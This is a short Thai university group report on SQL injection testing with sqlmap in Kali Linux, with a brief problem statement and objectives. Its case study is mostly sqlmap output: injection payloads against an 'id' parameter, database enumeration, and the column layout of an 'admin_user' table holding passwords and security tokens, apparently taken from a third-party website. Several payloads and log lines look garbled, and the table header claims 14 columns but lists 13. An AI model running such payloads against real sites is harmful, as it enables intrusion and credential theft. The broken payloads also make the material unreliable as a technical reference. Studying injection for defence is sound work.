

SQL INJECTION

322376 Security

STATEMENT OF THE PROBLEMS

จากการที่ขอบเขตของอินเทอร์เน็ตที่เปิดกว้างในปัจจุบัน ทำให้ผู้ใช้ทั่วโลกสามารถแชร์และอัปเดตข้อมูลได้ร่วมกันทุกที่ ทุกเวลาผ่านเว็บไซต์โซเชียล ในทางกลับกันก็เกิดการโจมตีโดยแฮกเกอร์เพื่อต้องการที่จะเข้าถึงข้อมูลของเว็บไซต์นั้นๆ เพื่อขโมยพาสเวิร์ดหรือข้อมูลของเว็บไซต์

คณะผู้จัดทำจึงเล็งเห็นถึงปัญหาสำคัญในการใช้เทคโนโลยีที่มากขึ้น คณะผู้จัดทำจึงได้ศึกษาวิธีการทดสอบการเจาะระบบแบบโอเพ่นซอร์สเพื่อทดสอบความปลอดภัยของเว็บไซต์ เพื่อให้เล็งเห็นถึงช่องโหว่ของเว็บไซต์นั้นๆ

OBJECTIVES

- เพื่อศึกษาทดสอบการเจาะระบบโดยใช้ SQL MAP ใน Kali Linux
- เพื่อศึกษาตรวจหาช่องโหว่ของเว็บไซต์

THE BENEFITS OF STUDY

- ทราบถึงวิธีการเข้าถึงข้อมูลโดยไม่พึ่งประสงค์
- ทราบถึงวิธีการเข้าถึงข้อมูลโดยใช้ SQL MAP ใน Kali Linux เพื่อหาช่องโหว่ของเว็บไซต์

CASE STUDY

SQL Injection เป็นเทคนิค หรือรูปแบบ การโจมตีของ HACKER โดยอาศัยช่องโหว่ของโปรแกรม ทำให้สามารถแอบใส่คำสั่ง SQL เข้าไปทาง INPUT ทั้งหลายบน UI เพื่อที่จะสามารถดึงข้อมูล ออกมาจากฐานข้อมูลได้

```
SQLMap found the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL, PL/SQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY class
Payload: id=2000 AND (SELECT CASE WHEN (8884=8884) THEN 200 ELSE 8x20 END)
Type: error-based
Title: MySQL, PL/SQL error-based - WHERE, HAVING, ORDER BY or GROUP BY class (FLOOR)
Payload: id=2000 AND SELECT 8888 FROM(SELECT COUNT(*),CONCAT('X'*(74*74)),(SELECT (811893=8933),1))a,b7174626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL, PL/SQL AND time-based blind
Payload: id=2000 AND SLEEP(5)
[06:24:12] [INFO] the back-end DBMS is MySQL
web application technology: PHP 4.4.9, Apache
back-end DBMS: MySQL, PL/SQL
[06:24:12] [INFO] fetching database names
[06:24:12] [INFO] the user returns 2 entries
[06:24:12] [INFO] current connection: formation schema
[06:24:12] [INFO] current connection: test
available databases [2]:
[*] db36851433
[*] information schema
[06:24:12] [INFO] fetched data logged to text files under /root/.sqlmap/output/www.tunes.com
shutting down at 06:24:18
```

```
Table: admin_user
[14 columns]
+----+-----+-----+
| Column | Type |
+----+-----+-----+
| admin_email | varchar(60) |
| admin_first_name | varchar(45) |
| admin_level | smallint(6) |
| admin_pass | varchar(65) |
| admin_status | smallint(6) |
| admin_user_name | varchar(45) |
| created | int(15) |
| id | bigint(20) unsigned |
| last_login | int(15) |
| login_attempt_failed | int(2) |
| modified | int(15) |
| module_access | varchar(255) |
| security_token | varchar(255) |
+----+-----+-----+
[06:31:32] [INFO] fetched data logged to text files under /root/.sqlmap/output/www.tunes.com
shutting down at 06:31:33
```

Group 13

- Jirawat Kumsiri 583020384-8
- Puwit Chanapan 583021143-5
- Ratthawit Johnburee 583020410-3
- Preyaporn Moontha 583021138-8
- Tatiya Nunkhao 583021133-8
- Jantharakarn Kaewman 583020382-2